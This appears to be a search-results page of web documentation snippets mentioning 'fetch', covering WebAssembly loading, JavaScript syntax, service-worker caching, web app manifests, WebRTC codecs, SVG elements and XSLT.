ompile and instantiate it the following example (see our instantiate-streaming.html demo on github, and view it live also) directly streams a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject. because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills. var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); the resultobject's instance member is then accessed, and the contained exported function invoked. specifications s...
Optional chaining (?.) - JavaScript
xception (someinterface.custommethod is not a function). note: if someinterface itself is null or undefined, a typeerror exception will still be raised (someinterface is null). if you expect that someinterface itself may be null or undefined, you have to use ?. at this position as well: someinterface?.custommethod?.() dealing with optional callbacks or event handlers if you use callbacks or fetch methods from an object with a destructuring assignment, you may have non-existent values that you cannot call as functions unless you have tested their existence. using ?., you can avoid this extra test: // written as of es2019 function dosomething(oncontent, onerror) { try { // ... do something with the data } catch (err) { if (onerror) { // testing if onerror really exists ...
for await...of - JavaScript
example first creates an async iterable for a stream of data, then uses it to find the size of the response from the api. async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data from url and calculates response size using the async generator. async function getresponsesize(url) { const response = await fetch(url); // will hold the size of the response, in bytes. let responsesize = 0; // the for-await-of loop. async iterates over each portion of the response. for await (const chunk of streamasynciterable(response.body)) { // incrementing the total res...
JavaScript
ing javascript objects the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. asynchronous javascript discusses asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. client-side web apis explores what apis are, and how to use some of the most common apis you'll come across often in your development work. javascript guide javascript guide a much more detailed guide to the javascript language, aimed at those with previous programming experience either in javascript or another language. intermediate understanding client-s...
serviceworker - Web app manifests
...
Web app manifests
fest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should return content-type: application/manifest+json). browsers generally support manifests with other appropriate extensions like .json (content-type: application/json). note: if the manifest requires credentials to fetch - the crossorigin attribute must be set to use-credentials, even if the manifest file is in the same origin as the current page. splash screens in chrome 47 and later, a splash screen is displayed for sites launched from a homescreen. this splashscreen is auto-generated from properties in the web app manifest, specifically: name background_color the icon in the icons array that is closest...
Codecs used by WebRTC - Web media technologies
").codecs; now codeclist is an array of rtcrtpcodeccapability objects, each describing one codec configuration. also present in the list will be entries for retransmission (rtx), redundant coding (red), and forward error correction (fec). if the connection is in the process of starting up, you can use the icegatheringstatechange event to watch for the completion of ice candidate gathering, then fetch the list. let codeclist = null; peerconnection.addeventlistener("icegatheringstatechange", (event) => { if (peerconnection.icegatheringstate === "complete") { const senders = peerconnection.getsenders(); senders.foreach((sender) => { if (sender.track.kind === "video") { codeclist = sender.getparameters().codecs; return; } }); } codeclist = null; }...
Optimizing startup performance - Web Performance
won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible. that means not running all your startup code in a single event handler on the app's main thread. instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up. this will prevent the app, browser, and/or device from appearing to have locked up. why is it important to be asynchronous? other than the reasons suggested above, consider the...
Progressive web app structure - Progressive web apps (PWAs)
worker, which then actually caches all the files contained in the above list: self.addeventlistener('install', function(e) { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); last of all, the service worker fetches content from the cache if it is available there, providing offline functionality: self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { ...
Progressive loading - Progressive web apps (PWAs)
d them. we could go even further and move everything from style.css to the <style> tag in the <head> of index.html — this would improve performance even more, but for the readability of the example we will skip that approach too. images besides javascript and css, websites will likely contain a number of images. when you include <img> elements in your html, then every referenced image will be fetched and downloaded during initial website access. it's not unusual to have megabytes of image data to download before announcing the site is ready, but this again creates a bad perception of performance. we don't need all of the images in the best possible quality at the very beginning of viewing the site. this can be optimized. first of all, you should use tools or services similar to tinypng, wh...
textLength - SVG: Scalable Vector Graphics
these events will be sent any time the slider's value changes, even if the user hasn't stopped moving it, so we can responsively adjust the text width. when an "input" event occurs, we call svglength.newvaluespecifiedunits() to set the value of ...
<a> - SVG: Scalable Vector Graphics
Web › SVG › Element › a
ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. for a more widely-supported feature addressing the same use cases, see navigator.sendbeacon(). value type: <list-of-urls> ; default value: none; animatable: no referrerpolicy which referrer to send when fetching the url. value type: no-referrer|no-referrer-when-downgrade|same-origin|origin|strict-origin|origin-when-cross-origin|strict-origin-when-cross-origin|unsafe-url ; default value: none; animatable: no rel the relationship of the target object to the link object. value type: <list-of-link-types> ; default value: none; animatable: yes target where to display the linked url. value type: _s...
<feImage> - SVG: Scalable Vector Graphics
Web › SVG › Element › feImage
the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface. example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimag...
SVG documentation index - SVG: Scalable Vector Graphics
Web › SVG › Index
nsfer function for the red component of the input graphic of its parent <fecomponenttransfer> element. 324 <fegaussianblur> element, svg, svg filter the <fegaussianblur> svg filter primitive blurs the input image by the amount specified in stddeviation, which defines the bell-curve. 325 <feimage> element, svg, svg filter the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) 326 <femerge> element, reference, svg, svg filter the <femerge> svg element allows filter effects to be applied concurrently instead of sequentially. this is achieved by other filters storing their output via the result attribute and t...
Texts - SVG: Scalable Vector Graphics
Web › SVG › Tutorial › Texts
ist of numbers makes each character rotate to its respective value, with remaining characters rotating according to the last value. textlength this is a more obscure attribute giving the calculated length of the string. it is meant to allow the rendering engine to fine-tune the positions of the glyphs when its own measured text length doesn't meet the one provided here. textpath this element fetches via its xlink:href attribute an arbitrary path and aligns the characters, that it encircles, along this path: <path id="my_path" d="m 20,20 c 80,60 100,40 120,20" fill="transparent" /> <text> <textpath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> a curve. </textpath> </text> playable code 2 <svg width="200" height="100" xmlns="http://www.w3.org/2000/svg"> <path ...
Basic Example - XSLT: Extensible Stylesheet Language Transformations
<xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> </xsl:stylesheet> the example loads using synchronous xmlhttprequest both the .xsl (xslstylesheet) and the .xml (xmldoc) files into memory. the .xsl file is then imported (xsltprocessor.importstylesheet(xslstylesheet)) and the transformation run (xsltprocessor.transformtofragment(xmldoc, document)). this allows fetching of data after the page has been loaded, without initiating a fresh page load. figure 6 : example var xslstylesheet; var xsltprocessor = new xsltprocessor(); var mydom; var xmldoc; function init(){ // load the xslt file, example1.xsl var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xsl", false); myxmlhttprequest.send(null); xslstylesheet = myxm...
Compiling a New C/C++ Module to WebAssembly - WebAssembly
code in firefox 47+ by enabling the javascript.options.wasm flag in about:config, or chrome (51+) and opera (38+) by going to chrome://flags and enabling the experimental webassembly flag.) note: if you try to open generated html file (hello.html) directly from your local hard drive (e.g. file://your_path/hello.html), you will end up with an error message along the lines of both async and sync fetching of the wasm failed. you need to run your html file through an http server (http://) — see how do you set up a local testing server? for more information. if everything has worked as planned, you should see "hello world" output in the emscripten console appearing on the web page, and your browser’s javascript console. congratulations, you’ve just compiled c to webassembly and run it in ...
Exported WebAssembly functions - WebAssembly
y are encapsulated by the exported wasm function object instance and there are only limited ways to access them. ...
Index - WebAssembly
orted webassembly functions guide, javascript, webassembly, export, exported functions, exported wasm functions, wasm exported webassembly functions are how webassembly functions are represented in javascript. this article describes what they are in a little more detail. 8 index index, webassembly found 12 pages: 9 loading and running webassembly code fetch, javascript, webassembly, xmlhttprequest, bytecode to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. 10 understanding webassembly text format functions...
Compiling an Existing C Module to WebAssembly - WebAssembly
first question you need to answer is: how do i get the image into wasm? looking at the encoding api of libwebp, you'll find that it expects an array of bytes in rgb, rgba, bgr or bgra. ...
WebAssembly
existing ecosystem of c libraries and allow developers to use them on the web. compiling from rust to webassembly if you've written some rust code, you can compile it into webassembly! this tutorial takes you through all you need to know to compile a rust project to wasm and use it in an existing web app. loading and running webassembly code after you have a .wasm, this article covers how to fetch, compile and instantiate it, combining the webassembly javascript api with the fetch or xhr apis. using the webassembly javascript api once you've loaded a .wasm module, you'll want to use it. in this article we show you how to use webassembly via the webassembly javascript api. exported webassembly functions exported webassembly functions are the javascript reflections of webassembly functio...